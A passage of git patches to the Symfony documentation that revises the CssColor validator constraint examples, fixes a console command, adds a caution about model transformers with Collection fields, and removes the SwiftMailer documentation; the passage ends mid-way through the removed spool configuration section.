From 07e38b778d5e6f896b0f20865e39ecefc5e645b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Oct 2021 13:06:51 +0200
Subject: [PATCH 1215/5766] [Validator] Some tweaks to CssColor constraint

---
 reference/constraints/CssColor.rst | 134 +++++++++++++++++++----------
 1 file changed, 89 insertions(+), 45 deletions(-)

diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 894325cb2e4..eb04df19b4c 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -1,6 +1,10 @@
 CssColor
 =========
 
+.. versionadded:: 5.4
+
+    The ``CssColor`` constraint was introduced in Symfony 5.4.
+
 Validates that a value is a valid CSS color. The underlying value is
 casted to a string before being validated.
 
@@ -17,6 +21,12 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidato
 Basic Usage
 -----------
 
+In the following example, the ``$defaultColor`` value must be a CSS color
+defined in any of the valid CSS formats (e.g. ``red``, ``#369``,
+``hsla(0, 0%, 20%, 0.4)``); the ``$accentColor`` must be a CSS color defined in
+hexadecimal format; and ``$currentColor`` must be a CSS color defined as any of
+the named CSS colors:
+
 .. configuration-block::
 
     .. code-block:: php-annotations
@@ -28,18 +38,26 @@ Basic Usage
 
         class Bulb
         {
+            /**
+             * @Assert\CssColor
+             */
+            protected $defaultColor;
+
             /**
              * @Assert\CssColor(
-             *     formats = { Assert\CssColor::HEX_LONG }
-             *     message = "The color '{{ value }}' is not a valid CSS color."
+             *     formats = Assert\CssColor::HEX_LONG,
+             *     message = "The accent color must be a 6-character hexadecimal color."
              * )
              */
-            protected $defaultColor;
+            protected $accentColor;
 
             /**
              * @Assert\CssColor(
-             *     formats = Assert\CssColor::BASIC_NAMED_COLORS
-             *     message = "The color '{{ value }}' is not a valid CSS color."
+             *     formats = {
+             *         Assert\CssColor::BASIC_NAMED_COLORS,
+             *         Assert\CssColor::EXTENDED_NAMED_COLORS
+             *     },
+             *     message = "The color '{{ value }}' is not a valid CSS color name."
              * )
              */
             protected $currentColor;
@@ -54,15 +72,18 @@ Basic Usage
 
         class Bulb
         {
+            #[Assert\CssColor]
+            protected $defaultColor;
+
             #[Assert\CssColor(
-                formats: [Assert\CssColor::HEX_LONG]
-                message: 'The color '{{ value }}' is not a valid CSS color.',
+                formats: Assert\CssColor::HEX_LONG,
+                message: 'The accent color must be a 6-character hexadecimal color.',
             )]
-            protected $defaultColor;
+            protected $accentColor;
 
             #[Assert\CssColor(
-                formats: Assert\CssColor::BASIC_NAMED_COLORS
-                message: 'The color '{{ value }}' is not a valid CSS color.',
+                formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                message: 'The color '{{ value }}' is not a valid CSS color name.',
             )]
             protected $currentColor;
         }
@@ -73,13 +94,17 @@ Basic Usage
         App\Entity\Bulb:
             properties:
                 defaultColor:
+                    - CssColor: ~
+                accentColor:
                     - CssColor:
-                        formats: [ !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG ]
-                        message: The color "{{ value }}" is not a valid CSS color.
+                        formats: !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG
+                        message: The accent color must be a 6-character hexadecimal color.
                 currentColor:
                     - CssColor:
-                        formats: !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS
-                        message: The color "{{ value }}" is not a valid CSS color.
+                        formats:
+                            - !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS
+                            - !php/const Symfony\Component\Validator\Constraints\CssColor::EXTENDED_NAMED_COLORS
+                        message: The color "{{ value }}" is not a valid CSS color name.
 
     .. code-block:: xml
 
@@ -90,18 +115,22 @@ Basic Usage
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
             <class name="App\Entity\Bulb">
-                <property name="currentColor">
+                <property name="defaultColor">
+                    <constraint name="CssColor"/>
+                </property>
+                <property name="accentColor">
                     <constraint name="CssColor">
-                        <option name="formats">
-                            <value>hex_long</value>
-                        </option>
-                        <option name="message">The color "{{ value }}" is not a valid CSS color.</option>
+                        <option name="formats">hex_long</option>
+                        <option name="message">The accent color must be a 6-character hexadecimal color.</option>
                     </constraint>
                 </property>
-                <property name="defaultColor">
+                <property name="currentColor">
                     <constraint name="CssColor">
-                        <option name="formats">basic_named_colors</option>
-                        <option name="message">The color "{{ value }}" is not a valid CSS color.</option>
+                        <option name="formats">
+                            <value>basic_named_colors</value>
+                            <value>extended_named_colors</value>
+                        </option>
+                        <option name="message">The color "{{ value }}" is not a valid CSS color name.</option>
                     </constraint>
                 </property>
             </class>
@@ -119,14 +148,16 @@ Basic Usage
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor([
-                    'formats' => [Assert\CssColor::HEX_LONG],
-                    'message' => 'The color "{{ value }}" is not a valid CSS color.',
+                $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor());
+
+                $metadata->addPropertyConstraint('accentColor', new Assert\CssColor([
+                    'formats' => Assert\CssColor::HEX_LONG,
+                    'message' => 'The accent color must be a 6-character hexadecimal color.',
                 ]));
 
                 $metadata->addPropertyConstraint('currentColor', new Assert\CssColor([
-                    'formats' => Assert\CssColor::BASIC_NAMED_COLORS,
-                    'message' => 'The color "{{ value }}" is not a valid CSS color.',
+                    'formats' => [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                    'message' => 'The color "{{ value }}" is not a valid CSS color name.',
                 ]));
             }
         }
@@ -158,8 +189,10 @@ formats
 
 **type**: ``string`` | ``array``
 
-This option is optional and defines the pattern the CSS color is validated against.
-Valid values are:
+By default, this constraint considers valid any of the many ways of defining
+CSS colors. Use the ``formats`` option to restrict which CSS formats are allowed.
+These are the available formats (which are also defined as PHP constants; e.g.
+``Assert\CssColor::HEX_LONG``):
 
 * ``hex_long``
 * ``hex_long_with_alpha``
@@ -177,88 +210,99 @@ Valid values are:
 hex_long
 ........
 
-A regular expression. Allows all values which represent a CSS color
-of 6 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+A regular expression. Allows all values which represent a CSS color of 6
+characters (in addition of the leading ``#``) and contained in ranges: ``0`` to
+``9`` and ``A`` to ``F`` (case insensitive).
 
 Examples: ``#2F2F2F``, ``#2f2f2f``
 
 hex_long_with_alpha
 ...................
 
-A regular expression. Allows all values which represent a CSS color with alpha part
-of 8 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+A regular expression. Allows all values which represent a CSS color with alpha
+part of 8 characters (in addition of the leading ``#``) and contained in
+ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive).
 
 Examples: ``#2F2F2F80``, ``#2f2f2f80``
 
 hex_short
 .........
 
-A regular expression. Allows all values which represent a CSS color
-of strictly 3 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+A regular expression. Allows all values which represent a CSS color of strictly
+3 characters (in addition of the leading ``#``) and contained in ranges: ``0``
+to ``9`` and ``A`` to ``F`` (case insensitive).
 
 Examples: ``#CCC``, ``#ccc``
 
 hex_short_with_alpha
 ....................
 
-A regular expression. Allows all values which represent a CSS color with alpha part
-of strictly 4 characters (in addition of the leading ``#``) and contained in ranges: 0 to 9 and A to F (case insensitive).
+A regular expression. Allows all values which represent a CSS color with alpha
+part of strictly 4 characters (in addition of the leading ``#``) and contained
+in ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive).
 
 Examples: ``#CCC8``, ``#ccc8``
 
 basic_named_colors
 ..................
 
-Accordingly to the `W3C list of basic named colors`_, it allows to use colors by their names (case insensitive).
+Any of the valid color names defined in the `W3C list of basic named colors`_
+(case insensitive).
 
 Examples: ``black``, ``red``, ``green``
 
 extended_named_colors
 .....................
 
-Accordingly to the `W3C list of extended named colors`_, it allows to use colors by their names (case insensitive).
+Any of the valid color names defined in the `W3C list of extended named colors`_
+(case insensitive).
 
 Examples: ``aqua``, ``brown``, ``chocolate``
 
 system_colors
 .............
 
-Accordingly to the `CSS WG list of system colors`_, it allows to use colors by their names (case insensitive).
+Any of the valid color names defined in the `CSS WG list of system colors`_
+(case insensitive).
 
 Examples: ``LinkText``, ``VisitedText``, ``ActiveText``, ``ButtonFace``, ``ButtonText``
 
 keywords
 ........
 
-Accordingly to the `CSS WG list of keywords`_, it allows to use colors by their names (case insensitive).
+Any of the valid keywords defined in the `CSS WG list of keywords`_ (case insensitive).
 
 Examples: ``transparent``, ``currentColor``
 
 rgb
 ...
 
-A regular expression. Allows all values which represent a CSS color following th RGB notation, with or without space between values.
+A regular expression. Allows all values which represent a CSS color following
+the RGB notation, with or without space between values.
 
 Examples: ``rgb(255, 255, 255)``, ``rgb(255,255,255)``
 
 rgba
 ....
 
-A regular expression. Allows all values which represent a CSS color with alpha part following th RGB notation, with or without space between values.
+A regular expression. Allows all values which represent a CSS color with alpha
+part following the RGB notation, with or without space between values.
 
 Examples: ``rgba(255, 255, 255, 0.3)``, ``rgba(255,255,255,0.3)``
 
 hsl
 ...
 
-A regular expression. Allows all values which represent a CSS color following th HSL notation, with or without space between values.
+A regular expression. Allows all values which represent a CSS color following
+the HSL notation, with or without space between values.
 
 Examples: ``hsl(0, 0%, 20%)``, ``hsl(0,0%,20%)``
 
 hsla
 ....
 
-A regular expression. Allows all values which represent a CSS color with alpha part following th HSLA notation, with or without space between values.
+A regular expression. Allows all values which represent a CSS color with alpha
+part following the HSLA notation, with or without space between values.
 
 Examples: ``hsla(0, 0%, 20%, 0.4)``, ``hsla(0,0%,20%,0.4)``
 

From 6a0f45cfb5c82f260178f80f9c43180dc8d866ec Mon Sep 17 00:00:00 2001
From: Cellophile <70097501+Cellophile@users.noreply.github.com>
Date: Wed, 6 Oct 2021 01:09:36 +0200
Subject: [PATCH 1216/5766] correction on a command to work

---
 doctrine/reverse_engineering.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 320e424ea0a..bd5d1402198 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -103,7 +103,7 @@ run:
     $ php bin/console make:entity --regenerate App
 
     // generates getter/setter methods for one specific Entity
-    $ php bin/console make:entity --regenerate App\\Entity\\Country
+    $ php bin/console make:entity --regenerate App\Entity\Country
 
 .. note::
 

From 0feac63ce10524dc730169c827300a9ee68cf1b9 Mon Sep 17 00:00:00 2001
From: Gregor Nathanael Meyer <Gregor@der-meyer.de>
Date: Tue, 7 Sep 2021 09:33:31 +0200
Subject: [PATCH 1217/5766] Inserted a warning about a limitation model
 transformers

There is a surprising limitation of model transformers, that cannot filter out items for a Collection field type. Took me a whole day to find out, so here is a warning about that. See https://github.com/symfony/symfony/issues/36469 for details. (Maybe that issue should be linked for further details?).
---
 form/data_transformers.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index c21976dadce..08479ff16a5 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -482,6 +482,21 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
+.. caution::
+
+    Be careful with model transformers and
+    :doc:`Collection </reference/forms/types/collection>` field types: As the
+    Collection's children are created early at `PRE_SET_DATA` by its
+    `ResizeFormListener`, their data is populated later from the Norm Data. So
+    your model transformer cannot reduce the number of items within the
+    Collection (i.e. filtering out some items), as in that case the collection
+    ends up with some empty children.
+    
+    A possible workaround for that limitation could be not using the underlying
+    object directly, but a DTO (Data Transfer Object) instead, that implements
+    the transformation of such incompatible data structures.
+    
+
 So why Use the Model Transformer?
 ---------------------------------
 

From ab5150948efa64b8a03251f0e342f524f355a95c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Oct 2021 15:52:06 +0200
Subject: [PATCH 1218/5766] Minor tweak

---
 form/data_transformers.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 08479ff16a5..685369a8239 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -485,17 +485,16 @@ To use the view transformer, call ``addViewTransformer()``.
 .. caution::
 
     Be careful with model transformers and
-    :doc:`Collection </reference/forms/types/collection>` field types: As the
-    Collection's children are created early at `PRE_SET_DATA` by its
-    `ResizeFormListener`, their data is populated later from the Norm Data. So
-    your model transformer cannot reduce the number of items within the
+    :doc:`Collection </reference/forms/types/collection>` field types.
+    Collection's children are created early at ``PRE_SET_DATA`` by its
+    ``ResizeFormListener`` and their data is populated later from the normalized
+    data. So your model transformer cannot reduce the number of items within the
     Collection (i.e. filtering out some items), as in that case the collection
     ends up with some empty children.
     
     A possible workaround for that limitation could be not using the underlying
     object directly, but a DTO (Data Transfer Object) instead, that implements
     the transformation of such incompatible data structures.
-    
 
 So why Use the Model Transformer?
 ---------------------------------

From 5c87228bc919fa3233d168ac44a83bf580cb3962 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Oct 2021 16:31:29 +0200
Subject: [PATCH 1219/5766] Remove SwiftMailer contents

---
 bundles.rst                             |   1 -
 email.rst                               | 666 +-----------------------
 reference/configuration/swiftmailer.rst | 359 +------------
 reference/dic_tags.rst                  |  23 -
 4 files changed, 8 insertions(+), 1041 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index bf5a144d4ce..ed194614c34 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -28,7 +28,6 @@ file::
         Symfony\Bundle\SecurityBundle\SecurityBundle::class => ['all' => true],
         Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
         Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
-        Symfony\Bundle\SwiftmailerBundle\SwiftmailerBundle::class => ['all' => true],
         Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
         Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
         // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
diff --git a/email.rst b/email.rst
index 37bcf3722cf..a4636adab78 100644
--- a/email.rst
+++ b/email.rst
@@ -6,666 +6,8 @@ Swift Mailer
 
 .. caution::
 
-    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and should
-    be used instead of Swift Mailer as it won't be maintained anymore as of November
-    2021.
+    The Swift Mailer project is not supported since November 2021 and its
+    integration with Symfony was removed in Symfony 6.0.
 
-Symfony provides a mailer feature based on the popular `Swift Mailer`_ library
-via the `SwiftMailerBundle`_. This mailer supports sending messages with your
-own mail servers as well as using popular email providers like `Mandrill`_,
-`SendGrid`_, and `Amazon SES`_.
-
-Installation
-------------
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Swift Mailer based mailer before using it:
-
-.. code-block:: terminal
-
-    $ composer require symfony/swiftmailer-bundle
-
-If your application doesn't use Symfony Flex, follow the installation
-instructions on `SwiftMailerBundle`_.
-
-.. _swift-mailer-configuration:
-
-Configuration
--------------
-
-The ``config/packages/swiftmailer.yaml`` file that's created when installing the
-mailer provides all the initial config needed to send emails, except your mail
-server connection details. Those parameters are defined in the ``MAILER_URL``
-environment variable in the ``.env`` file:
-
-.. code-block:: bash
-
-    # .env (or override MAILER_URL in .env.local to avoid committing your changes)
-
-    # use this to disable email delivery
-    MAILER_URL=null://localhost
-
-    # use this to configure a traditional SMTP server
-    MAILER_URL=smtp://localhost:465?encryption=ssl&auth_mode=login&username=&password=
-
-.. caution::
-
-    If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
-    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
-    :phpfunction:`urlencode` function to encode them.
-
-Refer to the :doc:`SwiftMailer configuration reference </reference/configuration/swiftmailer>`
-for the detailed explanation of all the available config options.
-
-Sending Emails
---------------
-
-The Swift Mailer library works by creating, configuring and then sending
-``Swift_Message`` objects. The "mailer" is responsible for the actual delivery
-of the message and is accessible via the ``Swift_Mailer`` service. Overall,
-sending an email is pretty straightforward::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/emails/registration.html.twig
-                    'emails/registration.html.twig',
-                    ['name' => $name]
-                ),
-                'text/html'
-            )
-
-            // you can remove the following code if you don't define a text version for your emails
-            ->addPart(
-                $this->renderView(
-                    // templates/emails/registration.txt.twig
-                    'emails/registration.txt.twig',
-                    ['name' => $name]
-                ),
-                'text/plain'
-            )
-        ;
-
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-To keep things decoupled, the email body has been stored in a template and
-rendered with the ``renderView()`` method. The ``registration.html.twig``
-template might look something like this:
-
-.. code-block:: html+twig
-
-    {# templates/emails/registration.html.twig #}
-    <h3>You did it! You registered!</h3>
-
-    Hi {{ name }}! You're successfully registered.
-
-    {# example, assuming you have a route named "login" #}
-    To login, go to: <a href="{{ url('login') }}">...</a>.
-
-    Thanks!
-
-    {# Makes an absolute URL to the /images/logo.png file #}
-    <img src="{{ absolute_url(asset('images/logo.png')) }}">
-
-The ``$message`` object supports many more options, such as including attachments,
-adding HTML content, and much more. Refer to the `Creating Messages`_ section
-of the Swift Mailer documentation for more details.
-
-.. _email-using-gmail:
-
-Using Gmail to Send Emails
---------------------------
-
-During development, you might prefer to send emails using Gmail instead of
-setting up a regular SMTP server. To do that, update the ``MAILER_URL`` of your
-``.env`` file to this:
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost
-
-The ``gmail`` transport is a shortcut that uses the ``smtp`` transport, ``ssl``
-encryption, ``login`` auth mode and ``smtp.gmail.com`` host. If your app uses
-other encryption or auth mode, you must override those values
-(:doc:`see mailer config reference </reference/configuration/swiftmailer>`):
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost?encryption=tls&auth_mode=oauth
-
-If your Gmail account uses 2-Step-Verification, you must `generate an App password`_
-and use it as the value of the mailer password. You must also ensure that you
-`allow less secure applications to access your Gmail account`_.
-
-Using Cloud Services to Send Emails
------------------------------------
-
-Cloud mailing services are a popular option for companies that don't want to set
-up and maintain their own reliable mail servers. To use these services in a
-Symfony app, update the value of ``MAILER_URL`` in the ``.env``
-file. For example, for `Amazon SES`_ (Simple Email Service):
-
-.. code-block:: bash
-
-    # The host will be different depending on your AWS zone
-    # The username/password credentials are obtained from the Amazon SES console
-    MAILER_URL=smtp://email-smtp.us-east-1.amazonaws.com:587?encryption=tls&username=YOUR_SES_USERNAME&password=YOUR_SES_PASSWORD
-
-Use the same technique for other mail services, as most of the time there is
-nothing more to it than configuring an SMTP endpoint.
-
-How to Work with Emails during Development
-------------------------------------------
-
-When developing an application which sends email, you will often
-not want to actually send the email to the specified recipient during
-development. If you are using the SwiftmailerBundle with Symfony, you
-can achieve this through configuration settings without having to make
-any changes to your application's code at all. There are two main choices
-when it comes to handling email during development: (a) disabling the
-sending of email altogether or (b) sending all email to a specific
-address (with optional exceptions).
-
-Disabling Sending
-~~~~~~~~~~~~~~~~~
-
-You can disable sending email by setting the ``disable_delivery`` option to
-``true``, which is the default value used by Symfony in the ``test`` environment
-(email messages will continue to be sent in the other environments):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => "true",
-        ]);
-
-.. _sending-to-a-specified-address:
-
-Sending to a Specified Address(es)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can also choose to have all email sent to a specific address or a list of addresses, instead
-of the address actually specified when sending the message. This can be done
-via the ``delivery_addresses`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ['dev@example.com'],
-        ]);
-
-Now, suppose you're sending an email to ``recipient@example.com`` in a controller::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/hello/email.txt.twig
-                    'hello/email.txt.twig',
-                    ['name' => $name]
-                )
-            )
-        ;
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-In the ``dev`` environment, the email will instead be sent to ``dev@example.com``.
-Swift Mailer will add an extra header to the email, ``X-Swift-To``, containing
-the replaced address, so you can still see who it would have been sent to.
-
-.. note::
-
-    In addition to the ``to`` addresses, this will also stop the email being
-    sent to any ``CC`` and ``BCC`` addresses set for it. Swift Mailer will add
-    additional headers to the email with the overridden addresses in them.
-    These are ``X-Swift-Cc`` and ``X-Swift-Bcc`` for the ``CC`` and ``BCC``
-    addresses respectively.
-
-.. _sending-to-a-specified-address-but-with-exceptions:
-
-Sending to a Specified Address but with Exceptions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Suppose you want to have all email redirected to a specific address,
-(like in the above scenario to ``dev@example.com``). But then you may want
-email sent to some specific email addresses to go through after all, and
-not be redirected (even if it is in the dev environment). This can be done
-by adding the ``delivery_whitelist`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-            delivery_whitelist:
-                # all email addresses matching these regexes will be delivered
-                # like normal, as well as being sent to dev@example.com
-                - '/@specialdomain\.com$/'
-                - '/^admin@mydomain\.com$/'
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <!-- all email addresses matching these regexes will be delivered
-                     like normal, as well as being sent to dev@example.com -->
-                <swiftmailer:delivery-whitelist-pattern>/@specialdomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-whitelist-pattern>/^admin@mydomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ["dev@example.com"],
-            'delivery_whitelist' => [
-                // all email addresses matching these regexes will be delivered
-                // like normal, as well as being sent to dev@example.com
-                '/@specialdomain\.com$/',
-                '/^admin@mydomain\.com$/',
-            ],
-        ]);
-
-In the above example all email messages will be redirected to ``dev@example.com``
-and messages sent to the ``admin@mydomain.com`` address or to any email address
-belonging to the domain ``specialdomain.com`` will also be delivered as normal.
-
-.. caution::
-
-    The ``delivery_whitelist`` option is ignored unless the ``delivery_addresses`` option is defined.
-
-Viewing from the Web Debug Toolbar
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can view any email sent during a single response when you are in the
-``dev`` environment using the web debug toolbar. The email icon in the toolbar
-will show how many emails were sent. If you click it, a report will open
-showing the details of the sent emails.
-
-If you're sending an email and then immediately redirecting to another page,
-the web debug toolbar will not display an email icon or a report on the next
-page.
-
-Instead, you can set the ``intercept_redirects`` option to ``true`` in the
-``dev`` environment, which will cause the redirect to stop and allow you to open
-the report with details of the sent emails.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/web_profiler.yaml
-        web_profiler:
-            intercept_redirects: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/web_profiler.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:webprofiler="http://symfony.com/schema/dic/webprofiler"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/webprofiler
-                https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd">
-
-            <webprofiler:config
-                intercept-redirects="true"
-            />
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/web_profiler.php
-        use Symfony\Config\WebProfilerConfig;
-
-        return static function (WebProfilerConfig $webProfiler) {
-            $webProfiler->interceptRedirects(true);
-        };
-
-.. tip::
-
-    Alternatively, you can open the profiler after the redirect and search
-    by the submit URL used on the previous request (e.g. ``/contact/handle``).
-    The profiler's search feature allows you to load the profiler information
-    for any past requests.
-
-.. tip::
-
-    In addition to the features provided by Symfony, there are applications that
-    can help you test emails during application development, like `MailCatcher`_,
-    `Mailtrap`_ and `MailHog`_.
-
-How to Spool Emails
--------------------
-
-The default behavior of the Symfony mailer is to send the email messages
-immediately. You may, however, want to avoid the performance hit of the
-communication to the email server, which could cause the user to wait for the
-next page to load while the email is sending. This can be avoided by choosing to
-"spool" the emails instead of sending them directly.
-
-This makes the mailer to not attempt to send the email message but instead save
-it somewhere such as a file. Another process can then read from the spool and
-take care of sending the emails in the spool. Currently only spooling to file or
-memory is supported.
-
-.. _email-spool-memory:
-
-Spool Using Memory
-~~~~~~~~~~~~~~~~~~
-
-When you use spooling to store the emails to memory, they will get sent right
-before the kernel terminates. This means the email only gets sent if the whole
-request got executed without any unhandled exception or any errors. To configure
-this spool, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool: { type: memory }
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool type="memory"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-            'spool' => ['type' => 'memory'],
-        ]);
-
-.. _spool-using-a-file:
-
-Spool Using Files
-~~~~~~~~~~~~~~~~~
-
-When you use the filesystem for spooling, Symfony creates a folder in the given
-path for each mail service (e.g. "default" for the default service). This folder
-will contain files for each email in the spool. So make sure this directory is
-writable by Symfony (or your webserver/php)!
-
-In order to use the spool with files, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool:
-                type: file
-                path: /path/to/spooldir
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
